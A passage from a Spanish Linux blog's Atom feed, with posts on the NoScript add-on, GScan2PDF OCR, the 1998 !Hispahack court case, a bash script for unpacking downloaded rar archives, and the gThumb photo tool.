un pequeño icono parecido a este:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3p7XPq3jRI/AAAAAAAAAaU/yKaWNxi5AwU/s1600-h/846.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3p7XPq3jRI/AAAAAAAAAaU/yKaWNxi5AwU/s320/846.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Simplemente, &lt;b&gt;permitiremos JavaScript Globalmente y bloquearemos ciertos scripts que no nos interesan como el de Google Adsense, Google Analytic&lt;/b&gt;s (para ver que sitios visitamos) y ciertas cosas que nos molesten bastante como los popups de megavideo etc...&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;Sí,&lt;b&gt; todo esto es bloqueable&lt;/b&gt;. No obstante según su creador, un &lt;b&gt;experto en seguridad web&lt;/b&gt;, de verdad de la buena,&lt;b&gt; Giorgio Maone&lt;/b&gt;, lo mejor es tener &lt;b&gt;javascript desbloqueado globalmente y permitir los scripts que nosotros queramos&lt;/b&gt; meter en nuestra lista blanca, &lt;b&gt;youtube, megavideo, etc...&lt;/b&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Para permitirlo sería tan sencillo como entrar en cualquier página, y ver que nos aparece debajo de la barra de direcciones los scripts que han sido bloqueados. Permitiremos los que queramos y listo :)&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S3p8PMameZI/AAAAAAAAAac/oOzPWFx_eeM/s1600-h/1060.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/_adYnwobHI2E/S3p8PMameZI/AAAAAAAAAac/oOzPWFx_eeM/s200/1060.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1174339207876693695?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1174339207876693695/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/privacidad-3-noscript-bloquea-java.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1174339207876693695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1174339207876693695'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/privacidad-3-noscript-bloquea-java.html' title='Privacidad 3: NoScript - Bloquea javascript y otras malas compañías.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S3p8SwAAqcI/AAAAAAAAAak/KhJM74VUU3c/s72-c/820.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8571749226235088308</id><published>2010-02-16T11:48:00.001+01:00</published><updated>2010-02-16T11:49:18.881+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='OCR'/><category scheme='http://www.blogger.com/atom/ns#' term='Escáner'/><title type='text'>GScan2PDF - Escanea documentos a pdf y usa el OCR</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3p3e19QJLI/AAAAAAAAAaE/2qud_dCi2iw/s1600-h/ocr.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3p3e19QJLI/AAAAAAAAAaE/2qud_dCi2iw/s320/ocr.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Uno de nuestros lectores nos ha propuesto un tema bastante interesante. Para los usuarios que se pregunten si un &lt;b&gt;escáner funciona bajo Linux&lt;/b&gt;, la respuesta es sí. Sin duda una de las &lt;b&gt;herramientas más potentes&lt;/b&gt; que se pueden recordar es el &lt;b&gt;OCR&lt;/b&gt; (&lt;b&gt;O&lt;/b&gt;ptical &lt;b&gt;C&lt;/b&gt;haracter &lt;b&gt;R&lt;/b&gt;ecognition) que nos &lt;b&gt;permite escanear un documento&lt;/b&gt; &lt;b&gt;y poder editarlo&lt;/b&gt; con nuestra suite ofimática favorita, muy útil para pasar apuntes a limpio con muy poco trabajo.&lt;br /&gt;&lt;br /&gt;En cualquier caso, y dando ciertas pautas para que no haya problemas, recomiendo que las&lt;b&gt; fórmulas matemáticas e imágenes&lt;/b&gt; las metáis en un cuadrado negro hecho a boli o rotulador. Así el sistema las escaneará como imágenes. El resto del texto, con que tengáis &lt;b&gt;un poco de buena letra&lt;/b&gt; y seáis más o menos &lt;b&gt;limpios&lt;/b&gt; no dará demasiados errores.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S3p32NSPFbI/AAAAAAAAAaM/iD2HAtCcNCE/s1600-h/gscan2pdf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S3p32NSPFbI/AAAAAAAAAaM/iD2HAtCcNCE/s320/gscan2pdf.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Para hacer esto usaremos el programa &lt;b&gt;GScan2PDF&lt;/b&gt; que lo podréis encontrar en los &lt;b&gt;repositorios oficiales&lt;/b&gt;, lo que te ahorrará algún que otro dolor de cabeza.&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; es tan sencillo como abrir un terminal y ejecutar el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&amp;nbsp;&lt;b&gt;sudo apt-get install gscan2pdf&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado,&amp;nbsp; lo podremos encontrar en &lt;b&gt;Aplicaciones &amp;gt; Gráficos &amp;gt; GScan2Pdf&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Tras abrirlo, &lt;b&gt;pulsaremos sobre el icono del escáner&lt;/b&gt;, buscará dispositivos y procederá a escanearlos. &lt;b&gt;Si no tuvieras escáner y te corriera urgencia&lt;/b&gt; también &lt;b&gt;podrías conectar una cámara digital&lt;/b&gt; y la usaría como dispositivo de entrada de imágenes aunque los resultados pueden variar según la calidad de nuestra cámara.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8571749226235088308?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8571749226235088308/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/gscan2pdf-escanea-documentos-pdf-y-usa.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8571749226235088308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8571749226235088308'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/gscan2pdf-escanea-documentos-pdf-y-usa.html' title='GScan2PDF - Escanea documentos a pdf y usa el OCR'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S3p3e19QJLI/AAAAAAAAAaE/2qud_dCi2iw/s72-c/ocr.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2026590708213178147</id><published>2010-02-15T22:09:00.000+01:00</published><updated>2010-02-15T22:09:00.796+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Caso !Hispahack</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S3m2-xIgb0I/AAAAAAAAAZQ/7BXOg0dJ-sY/s1600-h/H_el5_4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S3m2-xIgb0I/AAAAAAAAAZQ/7BXOg0dJ-sY/s320/H_el5_4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;El "&lt;b&gt;caso Hispahack&lt;/b&gt;" dio lugar a la &lt;b&gt;primera sentencia en España sobreacceso ilegal a un sistema informático&lt;/b&gt; y fue la primera &lt;b&gt;redada dirigidaespecíficamente contra un grupo hacker&lt;/b&gt;.&lt;br /&gt;&amp;nbsp; &lt;br /&gt; &lt;br /&gt;La &lt;b&gt;investigación policial&lt;/b&gt; se inició a partir de &lt;b&gt;una queja&lt;/b&gt;, que&lt;b&gt;no llegó a ser una denuncia oficial&lt;/b&gt;, de &lt;b&gt;Telefónica&lt;/b&gt;. Dicha queja tratabasobre un &lt;b&gt;intento de acceso mediante Internet a ordenadores de la NASA&lt;/b&gt;,en Estados Unidos, y a &lt;b&gt;ordenadores de la Universidad de Oxford&lt;/b&gt;. Tambiénse suponía que el grupo estaba relacionado con la &lt;b&gt;modificación de unapágina web del Congreso de los Diputados de España.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;Posteriormente, el 20 de enero de 1998, un Proveedor deServicios de Internet puso una denuncia contra dos personas apodadasMagne y Stk. La segunda era miembro de&amp;nbsp;!Hispahack. Según el proveedor,&lt;b&gt;habían entrado en sus máquinas y robado claves de acceso y nombres de2.500 clientes&lt;/b&gt;. Meses después, el 25 de marzo, la &lt;b&gt;UniversitatPolitècnica de Catalunya(UPC) presentaba otra denuncia&lt;/b&gt;, por un ataqueacontecido el 11 de septiembre de 1997, que culminó con la &lt;b&gt;obtención deprivilegios de administrador en dieciséis ordenadores y la instalaciónde sniffers en cinco&lt;/b&gt;. Jfs, de&amp;nbsp;!Hispahack, fue acusado de ello.&lt;br /&gt;&lt;br /&gt;Según la versión del Equipo de Respuesta a EmergenciasInformáticas de la UPC (esCERT), que llevó a cabo esta investigación,Jfs había instalado mal un sniffer, que grabó todos sus pasos: entrabadesde un ordenador desatendido de la Universidad de Oviedo, que usabacomo repositorio de programas y puente para asaltar otros sistemas. Losdatos recogidos en la UPC eran transferidos al servidor del cibercafémallorquín La Red Café, a un directorio llamado Jfs donde se accedíacon el nombre de usuario &lt;i&gt;hispahack&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;En abril de 1998, el Grupo de Delincuencia Informática de laUnidad Central Operativa de la Guardia Civil detuvo a los dos miembrosde&amp;nbsp;!Hispahack: Stk y Jfs, y a dos personas más: JR y Magne. Se lesacusaba de &lt;b&gt;delitos de revelación de secretos y daños informáticos&lt;/b&gt;. Unabogado, Carlos Sánchez Almeida, fue también fue llamado a declarar porque había publicado en &lt;b&gt;Mentes Inquietas&lt;/b&gt;un artículo sobre los &lt;b&gt;derechos de los detenidos&lt;/b&gt;. Posteriormente,Sánchez Almeida defendería como letrado a&amp;nbsp;!Hispahack en el juicio.&lt;br /&gt;&lt;br /&gt;Anselmo del Moral, responsable entonces del Grupo deDelincuencia Informática de la Guardia Civil, explicó por su parte lasrazones que motivaron la redada en una comparecencia ante la ComisiónEspecial para Redes Informáticas del Senado, el 30 de septiembre de1999: &lt;br /&gt;&lt;blockquote&gt;La investigación se basa fundamentalmente en una serie depotenciales presuntos grupos de intrusos informáticos relacionados conuna queja procedente de Telefónica sobre un intento de acceso a losordenadores de la NASA. También se les suponía relacionados con lamodificación de una página web del Congreso de los Diputados.&lt;/blockquote&gt;Del Moral se refirió a un asalto, ocurrido el 31 de octubre de 1997,a la web del Congreso de los Diputados, donde alguien dejó la pintada: &lt;b&gt;Cuantosdiputados y cuantas comisiones harán falta para descubrir que poner unordenador en internet no es sólo enchufarlo [Manda Guebos!!...1-3,seguimos avanzando! (!H)&lt;/b&gt;. &lt;br /&gt;Según "El País, las detenciones de Stk y Jfs se iniciaron por un soplo a la Guardia Civil:&lt;br /&gt;&lt;blockquote&gt;Un buen día les llegó una foto de un grupo de jóvenesencima de cuyos rostros estaba escrito su alias. Uno de ellos era JFS.Otro, STK, Un mensaje decían: Estos son Hispahack y son losresponsables de un ataque al Congreso de los Diputados. El ataque alCongreso se había realizado desde Estados Unidos. Poco después, la NASAenvió una queja a Telefónica porque alguien, desde España, habíaintentado asaltar sus ordenadores y había dejado la huella H!. Severifica que el asalto venía de un proveedor de Girona, quien denunciaque le han sustraido las claves de acceso de 2.500 usuarios.Paralelamente, la Universitat POlitecnica de Catalunya denuncia conseis meses de retraso una serie de incidentes en 16 ordenadores,procedentes de la Universidad de Ovideo. JFS y STK trabajan en Gibnet,la telefónica de Gibraltar. Utilitzando un subterfugio se logra un citacon ellos en la Linea de la Concepción. Pasaron dos días en carcel."&lt;/blockquote&gt;Finalmente, de los cuatro detenidos sólo Jfs fue juzgado, por laintrusión en la UPC. El 28 de mayo de 1999, el juez Juan Carlos LlavonaCalderón, del Juzgado de lo Penal 2 de Barcelona, lo absolvía.La sentencia consideraba los hechos probados pero no atribuibles a Jfs,aunque el directorio del cibercafé de Mallorca llevase su apodo: &lt;br /&gt;&lt;blockquote&gt;El acceso se hallaba al alcance de cualquiera que entrase através del usuario "hispahack" y, por lo tanto, las sospechas noalcanzan la categoría de indicios bastantes como para desvirtuartotalmente la presunción de inocencia.&lt;/blockquote&gt;En la sentencia se definió por primera vez en el ámbito judicial español el fenómeno &lt;i&gt;hacking&lt;/i&gt;,identificándolo con el intrusismo informático, un conjunto decomportamientos de acceso o interferencia no autorizados a un sistemainformático o red de comunicación electrónica de datos, y lautilización de los mismos sin autorización o más allá de lo autorizado.&lt;br /&gt;El juez aprovechó la sentencia para dar también una definición moral del hacking: &lt;br /&gt;&lt;blockquote&gt;Conductas que, en cuanto suponen de agresión contra elinterés del titular de un determinado sistema de que la información queen él se contiene no sea interceptada, resultan tanto más reprobables yaún merecedoras de sanción moral.&lt;/blockquote&gt;El caso generó mucha polémica por la obtención irregular de algunaspruebas, ya que cuatro importantes proveedores de Internet dieron, sinorden judicial, todos los datos de las cuentas de correo que les pidióla Guardia Civil. También se criticó que el esCERT actuase como peritoimparcial en el juicio y, a la vez, parte denunciante por supertenencia a la UPC. &lt;br /&gt;El Caso&amp;nbsp;!Hispahack sentó jurisprudencia en diversos aspectos,por la criminalización del hacking hecha por el juez, la no reprobacióna las fuerzas de la ley por obtener información de personas sinautorización judicial y el hecho de aceptar los &lt;i&gt;logs&lt;/i&gt; como prueba.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2026590708213178147?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2026590708213178147/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/caso-hispahack.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2026590708213178147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2026590708213178147'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/caso-hispahack.html' title='Caso !Hispahack'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S3m2-xIgb0I/AAAAAAAAAZQ/7BXOg0dJ-sY/s72-c/H_el5_4.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2385460595688115076</id><published>2010-02-15T21:54:00.002+01:00</published><updated>2010-02-15T22:00:21.610+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Descarga Directa'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>Automatizar extracción de archivos en bash</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S3m1DB7ju0I/AAAAAAAAAZI/hvmGCNZZnQw/s1600-h/icon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S3m1DB7ju0I/AAAAAAAAAZI/hvmGCNZZnQw/s320/icon.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Hola, ante todo &lt;b&gt;perdón por la falta de nuevos temas&lt;/b&gt;. Si os digo la verdad llevo un buen ritmo pero&lt;b&gt; me he quedado sin temas&lt;/b&gt;. Os pediría que si tenéis &lt;b&gt;alguna duda, aprovechéis y comentéis pidiendo temas&lt;/b&gt;.&lt;br /&gt;En cualquier caso he estado estos días trasteando con &lt;b&gt;bash, el interprete de comandos de Linux&lt;/b&gt; y la verdad que las cosas funcionan bastante bien.&lt;br /&gt;&lt;br /&gt;En este caso, y como añadido al &lt;a href="http://donzeyt.blogspot.com/2009/12/tucan-manager-alternativa-jdownloader.html"&gt;Tucan, el gestor de descargas,&lt;/a&gt; he programado un pequeño &lt;b&gt;script que nos ayudará a extraer todos los ficheros de vídeo de una temporada descargada y copiarlos a la carpeta que deseemos&lt;/b&gt;. Se podría añadir el &lt;b&gt;comando de eliminar carpeta&lt;/b&gt; pero he decidido no hacerlo porque creo que es mejor borrarlo a a mano por si algo no hubiera salido bien.&lt;br /&gt;&lt;br /&gt;Lo primero que &lt;b&gt;necesitaremos es el unrar, que es freeware&lt;/b&gt;, (no es software libre). Para instalarlo usaremos el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install unrar&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, &lt;b&gt;procederemos a descargar una temporada de nuestra serie favorita por descarga directa. Tucan manager por defecto lo guarda en la carpeta descargas&lt;/b&gt;. Moveremos estas carpeta en una nueva y procederemos a crear el script.&lt;br /&gt;&lt;br /&gt;Para ello &lt;b&gt;abriremos el editor de textos gedit&lt;/b&gt; mediante el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;gedit&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Copiaremos el siguiente código y lo guardaremos en el Escritorio&lt;/b&gt;.&lt;br /&gt;&lt;b&gt;extraer.sh&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d; font-size: small;"&gt;#!/bin/bash&lt;br /&gt;for i in $( ls $HOME/Descargas/T-18/ ); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd $HOME/Descargas/T-18/$i&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; extrae=`find *part1.rar`&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; unrar e $extrae&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; copia=`find *.avi`&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mv $copia $HOME/Descargas/T-18/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo Extraído correctamente $i&lt;br /&gt;done&lt;/span&gt;&lt;/blockquote&gt;&amp;nbsp;Dentro del for esta la &lt;b&gt;carpeta de nuestra temporada&lt;/b&gt;. Este caso ficticio es la temporada de los Simpsons número 18. Al descargarlo nos encontramos con que son &lt;b&gt;2 partes por cada capitulo&lt;/b&gt;. Sólo basta con extraer la primera pues el programa automáticamente buscará la segunda, tercera etc...&lt;br /&gt;&lt;br /&gt;Procederemos a &lt;b&gt;darle los permisos&lt;/b&gt; mediante el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;chmod u+x $HOME/Escritorio/extraer.sh&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Para &lt;b&gt;ejecutarlo&lt;/b&gt; tan solo tendremos que ejecutar el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt; $HOME/Escritorio/extraer.sh&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Listo, &lt;b&gt;tras esperar un ratito&lt;/b&gt; que es lo que tarda, tendremos nuestra &lt;b&gt;temporada extraída y podremos borrar las carpetas&lt;/b&gt;. Un placer para vagos.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2385460595688115076?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2385460595688115076/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/automatizar-extraccion-de-archivos-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2385460595688115076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2385460595688115076'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/automatizar-extraccion-de-archivos-en.html' title='Automatizar extracción de archivos en bash'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S3m1DB7ju0I/AAAAAAAAAZI/hvmGCNZZnQw/s72-c/icon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2855513844132659816</id><published>2010-02-11T10:00:00.006+01:00</published><updated>2010-02-11T10:00:01.949+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacktivismo'/><title type='text'>Cine - Hacktivistas, Electrohippies...</title><content type='html'>Siguiendo nuestras ediciones de documentales interesantes, aquí traemos uno extenso que comenta muchas cosas del mundo alternativo de Internet. La primera parte es la más política y luego aparecen Alan Cox y demás en el documental código linux que ya publicamos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed allowfullscreen="true" allowscriptaccess="always" id="VideoPlayback" src="http://video.google.com/googleplayer.swf?docid=921232577664430066&amp;amp;hl=en&amp;amp;fs=true" style="height: 326px; width: 400px;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2855513844132659816?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2855513844132659816/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-hacktivistas-electrohippies.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2855513844132659816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2855513844132659816'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-hacktivistas-electrohippies.html' title='Cine - Hacktivistas, Electrohippies...'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8156498483024513907</id><published>2010-02-10T10:41:00.021+01:00</published><updated>2010-02-10T10:41:00.726+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Imagenes'/><title type='text'>Linux - Gthumb - Redimensiona tus fotos</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S27Sk_N-B6I/AAAAAAAAAZA/B7HOsI8Aieg/s1600-h/gthumb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S27Sk_N-B6I/AAAAAAAAAZA/B7HOsI8Aieg/s320/gthumb.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;GIMP&lt;/b&gt; es una &lt;b&gt;herramienta&lt;/b&gt; muy &lt;b&gt;potente&lt;/b&gt; pero resulta a veces &lt;b&gt;complicada&lt;/b&gt; para el usuario normal. Algunas distribuciones traen por defecto el &lt;b&gt;editor de fotos F-Spot&lt;/b&gt; que está bastante &lt;b&gt;incompleto&lt;/b&gt;. Si lo que te interesa es c&lt;b&gt;omentar, modificar fotos masivamente y en general redimensionarlas para bajar su peso&lt;/b&gt;, te recomiendo &lt;b&gt;Gthumb&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;&lt;span style="font-size: x-small;"&gt;instalarlo&lt;/span&gt;&lt;/b&gt; es muy &lt;b&gt;sencillo&lt;/b&gt;, sólo hay que ejecutar el siguiente comando en el terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install gthumb&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado lo encontraremos en &lt;b&gt;Aplicaciones &amp;gt; Gráficos &amp;gt; Visor de Imágenes G-Thumb&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S27SV1dHK3I/AAAAAAAAAY4/jsh9l1c9vBw/s1600-h/gthumb.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S27SV1dHK3I/AAAAAAAAAY4/jsh9l1c9vBw/s320/gthumb.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;usarlo&lt;/b&gt; es realmente &lt;b&gt;sencillo&lt;/b&gt; solo hay que &lt;b&gt;escoger&lt;/b&gt; las &lt;b&gt;fotos&lt;/b&gt;, &lt;b&gt;buscar&lt;/b&gt; las &lt;b&gt;opciones&lt;/b&gt; en los &lt;b&gt;menús&lt;/b&gt; desplegables y listo. Puedes &lt;b&gt;aplicar efectos, redimensionar, añadir marcas de agua y todo sin un ápice de trabajo&lt;/b&gt;.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8156498483024513907?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8156498483024513907/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-gthumb-redimensiona-tus-fotos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' 